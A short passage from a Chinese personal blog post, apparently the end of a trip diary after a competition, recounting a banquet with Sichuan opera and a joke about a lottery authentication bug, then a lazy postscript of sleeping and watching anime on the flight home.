晚宴,菜是一盘接一盘的上,红不拉几的,不过还是吃了不少才回去,yysy川剧变脸和喷火很好看,晚宴的抽奖也是被挖出鉴权0day了(
后日谈
回到酒店还是睡觉,醒来也是慢悠悠的整理东西,仔细一想我好像除了比赛根本没出过门!有点后悔结束后的第二天早上没跟着Laffey去展子玩了(我嘞个漫展特种兵
然后在床上瘫了一早上belike
回去的飞机上依旧是看番度过的
别在这里发电.jpg
可爱捏